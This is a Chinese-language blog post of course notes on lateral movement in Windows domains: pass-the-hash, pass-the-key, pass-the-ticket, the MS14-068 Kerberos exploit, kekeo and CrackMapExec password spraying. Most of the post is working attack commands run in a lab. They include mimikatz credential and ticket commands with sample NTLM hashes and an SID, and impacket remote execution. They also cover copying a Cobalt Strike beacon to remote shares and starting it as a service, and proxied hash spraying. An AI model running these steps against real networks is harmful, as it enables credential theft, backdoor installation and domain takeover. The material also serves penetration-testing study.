内网安全第一百三十天

内网安全-横向移动&PTH哈希&PTT票据&PTK密匙&Kerberos&密码喷射

目录

内网安全-横向移动&PTH哈希&PTT票据&PTK密匙&Kerberos&密码喷射

#知识点:

PTH攻击

PTT攻击

案例

域横向移动-PTH-Mimikatz&NTLM

1、Mimikatz

2、impacket-at&ps&wmi&smb

域横向移动-PTK-Mimikatz&AES256

中间插入知识点

域横向移动-PTT-漏洞&Kekeo&Ticket

1、漏洞-MS14068(webadmin权限也就是普通用户权限)-利用漏洞生成的用户的新身份票据尝试认证

2、kekeo(高权限,需NTLM)-利用获取的NTLM生成新的票据尝试认证

3、mimikatz(高权限,需Ticket)-利用历史遗留的票据重新认证尝试

域横向移动-PTH-Proxychains&CrackMapExec

CrackMapExec


#知识点:

1、横向移动-PTH-NTLM

2、横向移动-PTK-AES256

3、横向移动-PTT-漏洞&内存

PTH攻击

PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,

总结:KB2871997补丁后的影响

pth:没打补丁用户都可以连接,打了补丁只能administrator连接

ptk:打了补丁才能用户都可以连接,采用aes256连接

KB22871997是否真的能防御PTH攻击? - FreeBuf网络安全行业门户

LM和NTLM都是Windows对用户的密码凭证加密的两种加密算法,win2012 r2之前用的是LM,之后(包括win2012r2)就是NTLM了

PTT攻击

PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。

MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)

其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术

MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。

Kerberos协议就是用来生成票据的,也就是TGT。这个就好比web里面的cookie和session,用来对用户身份做验证的

pass the hash(哈希传递攻击,简称pth)

pass the ticket(票据传递攻击,简称ptt)

pass the key(密钥传递攻击,简称ptk)

PTH(pass the hash)   #利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)

PTK(pass the key)    #利用的ekeys aes256进行的渗透测试(NTLM认证攻击) 

PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)

案例

域横向移动-PTH-Mimikatz&NTLM

PTH = Pass The Hash,通过密码散列值 (通常是NTLM Hash)来进行攻击。

在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。

因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。另外注意在Window Server 2012 R2之前使用到的密码散列值是LM、NTLM,在2012 R2及其版本之后使用到的密码散列值是NTLM Hash。

1、Mimikatz

mimikatz privilege::debug

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c

我们利用mimikatz把刚才抓取到的hash对3.32实现PTH攻击,在CS敲下这个命令之后就会在已经控制的机器上弹出来一个CMD窗口,这个CMD和正常的不一样,我们可以通过这个弹出来的CMD执行下载后门的命令,然后执行。

我们可以看到利用下面那个弹出来的cmd就可以访问到3.32这个机器,而用本机的CMD则会报错

net use \\192.168.3.32\c$

然后首先就是和它的C盘建立连接

copy beacon.exe \\192.168.3.32\c$

然后复制本机(也就是受控机器上面,这里指win7)上面提前弄好的后门文件到目标机器的C盘

sc \\sqlserver create bshell binpath= "c:\4.exe"

创建一个服务名叫bshell,绑定这个后门文件

sc \\sqlserver start bshell

开启这个后门服务就相当于开启这个后门

但这个有个很大的问题就是实战中不会给你一个图形化的界面,你在CS上面执行完这个命令之后,他会在被控机器那里弹一个cmd,这个CMD就是拥有3.32这个机器的system的权限,但是实战中只有大黑屏,所以这个价值不大,但也要了解一下

2、impacket-at&ps&wmi&smb

psexec -hashes :NTLM值 域名/域用户@域内ip地址

smbexec -hashes :NTLM值 域名/域用户@域内ip地址

wmiexec -hashes :NTLM值 域名/域用户@域内ip地址

python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

利用本机的套件也是可以实现PTH攻击,也是用到了我们之前学的三个方法,IPC、WMI、SMB。具体流程就是先建立代理节点,因为我们这里是利用本机去进行的,无法直接访问到内网,所以用CS弄一个socks代理,然后把proxifier设置好,代理就弄好了。接着我们就可以利用这三个工具去连接,连接上去之后我们就来到了对方的system权限的cmd

我们输入ipconfig,就会显示对方的ip地址,那说明我们建立成功了。

接下来就是先弄一个后门文件放到win7的www目录下,因为我们等会的下载命令端口是80,并且我们这里在win7开设的有网站,所以访问80就会来到www这个目录,然后执行下载。把后门放好之后就是用棱角社区弄一个下载命令,可以加一个&符,直接执行。即可上线。其实这个之前都讲过,因为这里是讲PTH攻击,所以就是专门讲了一下利用hash传递进行攻击,之前是讲过明文也讲过hash。

这里我们回顾一下这个后门,后门可以弄反向连接也可以弄正向连接,如果是反向连接的话就是在win7的会话那里设置个转发上线的监听器,然后利用转发上线的监听器生成后门。执行后门就可以直接上线了。如果是正向连接的话就是让目标机器把权限交到本机的某一个端口,比如说本机的4444端口,然后在CS的会话那里输入connect ip 端口连接即可。

域横向移动-PTK-Mimikatz&AES256

PTK = Pass The Key,当系统安装了KB2871997补丁且禁用了NTLM的时候,

那我们抓取到的ntlm hash也就失去了作用,但是可以通过PTK的攻击方式获得权限。

mimikatz sekurlsa::ekeys

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

我们可以直接利用命令得到这个key,但是这个比较鸡肋,因为条件比较苛刻,只有当打了补丁并且禁用NTLM的时候,这个方法才能用,也就是PTH被禁止的时候,这个PTK才会被激活能够使用,不是说当PTH被禁止的时候只能用PTK,而是说只有PTH被禁止,这个ptk才能够激活使用,所以条件比较苛刻。在实战中一般不会碰到,要么就是满足一个条件,要么就是一个不满足。

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

这条命令被执行后就会来到弹出一个cmd窗口,能够连接目标机器,在域名填写的地方,如果填计算机名就是连接计算机。

中间插入知识点

这里我们先讲一下这个票据攻击,在这个票据攻击说是三种,其实是两种。我们现在讲横向移动这里会讲这个票据劫持,也就是我们等会要讲的PTT,还有一个就是权限维持的时候讲的黄金票据和白银票据。

这里就说说这个票据劫持,只要是对方有这个ms14068这个漏洞,我们就可以伪造域控的TGT票据,类似于web中cookie伪造。

域横向移动-PTT-漏洞&Kekeo&Ticket

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

Releases · gentilkiwi/kekeo · GitHub

1、漏洞-MS14068(webadmin权限也就是普通用户权限)-利用漏洞生成的用户的新身份票据尝试认证

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。

它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。

该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。

用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

获取SID值:shell whoami/user

生成票据文件:shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

清除票据连接:

shell klist purge

内存导入票据:

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

连接目标上线:

shell dir \\OWA2010CN-GOD\c$

shell net use \\OWA2010CN-GOD\C$

copy beacon.exe \\OWA2010CN-GOD\C$

sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"

sc \\OWA2010CN-GOD start bindshell

注意:成功不成功看DC域控漏洞补丁打没打

我们先获得本机SID,方便等会生成票据文件

然后我们利用这个ms14068来生成票据,这个工具在我们之前安装的CS插件里面有,插件叫LSTAR。直接在这里打开cmd输入命令。

我这里没成功,好像是因为域控打了这个补丁

生成的票据文件是以.ccache结尾,生成的这个票据导入到内存中后就会让该机器拥有域控权限了。

我们可以先在CS中通过shell klist purge这个命令把所有票据删除

接下来的流程就是把生成的票据问价上传到受控主机win7,然后我们在利用mimikatz把票据导入到内存,此时我们可以再到CS里面输入命令shell klist看一下票据是不是导入进去了。票据默认有效时间是10个小时

此时我们就可以不输入密码,直接利用导入的票据连接到域控,并且可以执行命令。但是如果一旦把票据清除的话就不能连接到域控了。也就是说,10个小时的有效期过了就连不上了。

连接目标上线的命令:

shell dir \\OWA2010CN-GOD\c$

shell net use \\OWA2010CN-GOD\C$

copy beacon.exe \\OWA2010CN-GOD\C$

sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"

sc \\OWA2010CN-GOD start bindshell

2、kekeo(高权限,需NTLM)-利用获取的NTLM生成新的票据尝试认证

因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,

我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗

缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用。

生成票据:shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"

导入票据:shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

查看票据:shell klist

利用票据连接:shell dir \\owa2010cn-god\c$

注意:成功不成功看ntlm哈希值的正确性,并且这里小迪让写计算机名,没让写ip,我也不知道为啥,实战中可以都试试。

这个工具不到500k,上传上去还是可以的。

这里是利用工具生成票据,并且成功与否就看ntlm哈希值是不是域控的哈希。如果hash的值是域控的,那么就会生成可以连接域控的票据。那你可能会问,都有域控的hash了,直接PTF攻击就可以了呀,为啥还能用这个PTT,这是因为PTH还需要借助WMI,SMB还有那个psesc才可以,这些是需要支持这些协议并且端口还是要开放的。所以这个方法就是当PTF不能用的时候就可以用这个。这个hash可以是用密码喷射得到的。就是通过横向移动到其他主机,然后就会得到新的hash和明文密码。

3、mimikatz(高权限,需Ticket)-利用历史遗留的票据重新认证尝试

导出票据:

mimikatz sekurlsa::tickets /export

导入票据:

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi

查看票据:shell klist

利用票据连接:shell dir \\owa2010cn-god\c$

注意:成功不成功看当前主机有没有被目标连接过

这个就是直接利用mimikatz导出本机历史的所有票据,虽然可以用那个命令清除票据,但那个是清除连接的票据,历史的还是有。所以如果说域控管理员曾经登录过这台主机产生了域控的票据。那么历史中就会有,所以这个成功与否就看历史票据中有没有正确的。并且这个票据要在10小时之内的有效时间,超时就没了。如果导入的票据不能用的话,那可能就是票据失效了。

MS14068是明文密码直接攻击域控,这个成功与否看域控有没有这个漏洞;kekeo则是利用正确的hash生成票据去连接域控,这个成功与否看NTLM的hash正确与否;mimikatz则是利用历史票据连接域控,这个成功与否看运气

域横向移动-PTH-Proxychains&CrackMapExec
CrackMapExec

Github:GitHub - Porchetta-Industries/CrackMapExec: A swiss army knife for pentesting networks

官方手册:Introduction - CrackMapExec ~ CME WIKI

部案例:CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户

下载对应release,建立socks连接,设置socks代理,配置规则,调用!

1、Linux Proxychains使用

代理配置:Proxychains.conf

代理调用:Proxychains 命令

2、密码喷射-域用户登录PTH:

proxychains python cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录

proxychains python cme smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #本地用户HASH登录

我们上面说了kekeo这个工具伪造域控票据,这个是需要正确的hash来生成票据的,所以我们就可以利用上节课讲过的密码喷射看看hash对不对,能不能连接到域控。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值